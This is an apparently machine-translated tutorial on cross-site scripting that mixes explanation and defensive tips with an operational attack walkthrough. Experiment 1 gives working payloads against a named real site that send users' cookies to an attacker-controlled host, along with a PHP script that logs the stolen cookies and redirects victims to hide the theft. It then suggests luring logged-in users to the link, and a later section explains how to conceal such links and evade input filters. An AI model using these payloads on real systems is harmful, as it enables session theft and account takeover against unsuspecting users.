This article mainly introduces the causes of cross-site script execution vulnerabilities. Since there is not much information about cross-site script execution vulnerabilities, there is usually no detailed introduction on the Internet. I hope this article can introduce these knowledge in more detail. The following is the causes of cross-site script execution vulnerabilities compiled by the editor of the Wrong New Technology Channel. Let’s go to the following to learn more!
Causes of cross-site script execution vulnerabilities [Causes of vulnerabilities]
The reason is very simple, because the CGI program does not filter or convert the HTML code in the variables submitted by the user.
【Vulnerability Form】
The form mentioned here actually refers to the form of CGI input, which is mainly divided into two types:
1. Show input
2. Implicit input
The display input clearly requires the user to enter data, while the implicit input does not require the user to enter data, but the user can interfere by inputting data.
Display input can be divided into two types:
1. The input is completed and the result is output immediately
2. The input is completed and stored in a text file or database, and then the result is output.
Note: The latter may make your website unrecognizable! :(
In addition to some normal situations, implicit input can also be implemented by using the server or CGI program to handle error information.
【Hazards of loopholes】
What everyone is most concerned about is probably this issue. The following list may not be comprehensive or systematic, but I think it should be more typical.
1. Get sensitive data in other user cookies
2. Block page specific information
3. Forged page information
4. Denial of Service Attack
5. Break through different security settings of external and internal networks
6. Combined with other vulnerabilities, modify system settings, view system files, execute system commands, etc.
7. other
Generally speaking, the above hazards are often accompanied by the deformation of the page. The so-called cross-site script execution vulnerability means that the attack effect is achieved through other people's websites, which means that this kind of attack can hide identity to a certain extent.
【Usage method】
Below we will demonstrate the various hazards above through specific examples, which should be more explanatory and easier to understand. For clearer structure, we will do an experiment for each hazard.
In order to do these experiments well, we need a package capture software. I use Iris. Of course, you can choose other software, such as NetXray or something. For specific usage methods, please refer to the relevant help or manual.
In addition, one thing to understand is that as long as the server returns the information submitted by the user, there may be a cross-site script execution vulnerability.
OK, everything is ready, let's start experimenting! :)
Experiment 1: Obtain sensitive information in other users’ cookies
Let’s take the famous domestic student recording site 5460.net as an example to illustrate. Please follow the steps below:
1. Enter the home page http://www.5460.net/
2. Enter the user name "<h1>" and submit it. The server returns the information that contains the user's submission "<h1>".
3. Analyze packet capture data and get the actual request:
http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
4. Construct a submission with the goal of being able to display user cookie information:
http://www.5460.net/txl/login/login.pl?username=<script>alert(document.cookie)</ script>&passwd=&ok.x=28&ok.y=6
5. If the above request gets the expected effect, then we can try the following request:
http://www.5460.net/txl/login/login.pl?username=<script>window.open("http://www.notfound.org/ info.php?"%2Bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6
Among them, http://www.notfound.org/info.php is a script on a host that you can control. Its function is to obtain the information of the query string, and the content is as follows:
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("info.txt","a");
fwrite($fp,$info."/n");
fclose($fp);
}
header("Location: http://www.5460.net");
Note: "%2B" is the URL encoding of "+", and only "%2B" can be used here, because "+" will be processed as a space. The following header sentences are purely for increasing concealment.
6. If the URL above can run correctly, the next step is to induce users logged into 5460.net to access the URL, and we can obtain sensitive information in the user's cookie.
7. What you want to do later is up to you!
Experiment 2: Block page specific information
We are still taking 5460.net as an example, here is a problematic CGI program:
http://www.5460.net/txl/liuyan/liuyanSql.pl
The CGI program accepts three variables provided by the user, namely nId, csId and cName, but does not check any cName variables submitted by the user. Moreover, the CGI program takes the value of cName as part of the output page. Users of 5460.net should be more clear that your name is in the lower right corner of the message, right?
Since we have the above conditions, we may wish to make the following conclusions:
A user can "block" all messages between their two messages!
Of course, the "blocking" we are talking about is not "deletion", and the user's messages still exist, but due to the characteristics of HTML, we cannot see it from the page. Of course, if you like to view the source code, it is useless, but those of us who are studying CGI security say, how many people look at the HTML source code if you have something to do or not?
For various reasons, I will not announce the specific details here, just know the principles.
Note: If you think about it carefully, we can not only block messages, but also leave messages anonymously, Right?
Experiment 3: Forgetting page information
If you understand the above experiment, there is no need to do this experiment. The basic principles are the same, but it is just a little troublesome to implement.
Experiment 4: Denial of Service Attack
It should be known now that we can control the behavior of servers with cross-site script execution vulnerabilities to some extent. In this case, we can control the server to perform some resource-consuming actions. For example, running JavaScript scripts that contain dead loops or open infinite windows, etc. This way the user system that accesses the URL may slow down or even crash. Similarly, we may also embed some scripts in it to ask the server to request resources on other servers. If the resources accessed consume more resources and there are more visitors, the accessed server may also be denied service, and it believes that the denial of service attack is initiated by the server accessing it, so that the identity can be hidden.
Experiment 5: Break through different security settings of external and internal networks
This should be easy to understand. Generally speaking, our browsers set different security levels for different regions. For example, for the Internet area, you may not allow JavaScript execution, but in the Intranet area, you may allow JavaScript execution. Generally speaking, the security level of the former is higher than that of the latter. In this way, in general, others cannot attack you by executing malicious JavaScript scripts, but if there is a cross-site script execution vulnerability on the server on the same intranet as you, then the attacker has a chance to take advantage of it because the server is located in the intranet area.
Experiment 6: Combined with other vulnerabilities, modify system settings, view system files, execute system commands, etc.
Because there are too many browser-related vulnerabilities, there are many vulnerabilities that can be combined with cross-site script execution vulnerabilities. I think everyone should be very clear about these issues. The vulnerability of modifying IE titles a few times, the vulnerability of wrong MIME type execution commands, and a variety of worms are all good examples.
For more examples, please refer to the following link:
Internet Explorer Pop-Up OBJECT Tag Bug
http://archives.neohapsis.com/archives/bugtraq/2002-01/0167.html
Internet Explorer Javascript Modeless Popup Local Denial of Service Vulnerability
http://archives.neohapsis.com/archives/bugtraq/2002-01/0058.html
MSIE6 can read local files
http://www.xs4all.nl/~jkuperus/bug.htm
MSIE may download and run progams automatically
http://archives.neohapsis.com/archives/bugtraq/2001-12/0143.html
File extensions spoofable in MSIE download dialog
http://archives.neohapsis.com/archives/bugtraq/2001-11/0203.html
the other IE cookie stealing bug (MS01-055)
http://archives.neohapsis.com/archives/bugtraq/2001-11/0106.html
Microsoft Security Bulletin MS01-055
http://archives.neohapsis.com/archives/bugtraq/2001-11/0048.html
Serious security Flaw in Microsoft Internet Explorer - Zone Spoofing
http://archives.neohapsis.com/archives/bugtraq/2001-10/0075.html
Incorrect MIME Header Can Cause IE to Execute E-mail Attachment
http://www.kriptopolis.com/cua/eml.html
The role of cross-site script execution vulnerability here is to hide the identity of the real attacker.
Experiment 7: Others
In fact, this type of problem has little to do with cross-site script execution vulnerabilities, but it is still necessary to mention it here. The essence of the problem is that the CGI program does not filter the user's submitted data and then performs output processing. For example, a CGI program on a server that supports SSI outputs user-submitted data, which may lead to the execution of SSI instructions regardless of the method of inputting the data. Of course, this is executed on the server side, not on the client side. In fact, CGI languages such as ASP, PHP and Perl may cause this problem.
【Hidden Techniques】
For the sake of time, I will mainly talk about the theory here. I believe it is not difficult to understand. If there is really a problem, then go to this book to read it.
1. URL encoding
Compare:
http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
http://www.5460.net/txl/login/login.pl?username=%3C%68%31%3E&passwd=&ok.x=28&ok.y=6
Which one do you think is more concealed? !
2. Hide under other objects
Is it better to decide to hide the link below the button than to give someone a link directly?
3. Embed into the page
Is it much easier to let others access an address (note that the address here is different from the URL mentioned above) than to let others press a button? With the help of Iframe, you can make this attack more hidden.
4. Rational use of events
The rational use of events can be bypassed in some cases the input restrictions of CGI programs, such as the cross-site script execution vulnerability of SecurityFocus a few days ago.
【Precautions】
Generally speaking, there is no problem in directly carrying out attacks like <script>alert(document.cookie)</script>, but sometimes CGI programs process user input, such as including '' or ''. At this time, we need to use some tricks to bypass these restrictions.
If you are familiar with HTML language, bypassing these restrictions should not be a problem.
【Solution】
To avoid being attacked by cross-site script execution vulnerabilities, both programmers and users need to work together:
programmer:
1. Filter or convert HTML code in user-submitted data
2. Limit the length of data submitted by users
user:
1. Don't easily access the links others give you
2. Disable browsers from running JavaScript and ActiveX code
Attachment: The location of common browser modification settings is:
Internet Explorer:
Tools -> Internet Options -> Security -> Internet -> Custom Levels
Tools -> Internet Options -> Security -> Intranet -> Custom Levels
Opera:
File -> Quick Parameters -> Allow Java
File -> Quick Parameters -> Allow plugins to use
File -> Quick Parameters -> Allow JavaScript
【FAQ】
Q: Where does cross-site script execution vulnerability exist?
A: As long as it is a CGI program and as long as the user is allowed to input, there may be a cross-site script execution vulnerability.
Q: Can cross-site script execution vulnerabilities only steal other people’s cookies?
A: Of course not! All HTML code can be done, cross-site script execution vulnerabilities can be done.
The above article is the cause of cross-site script execution vulnerabilities. I believe everyone has a certain understanding. If you want to know more technical information, please continue to pay attention to the wrong new technology channel!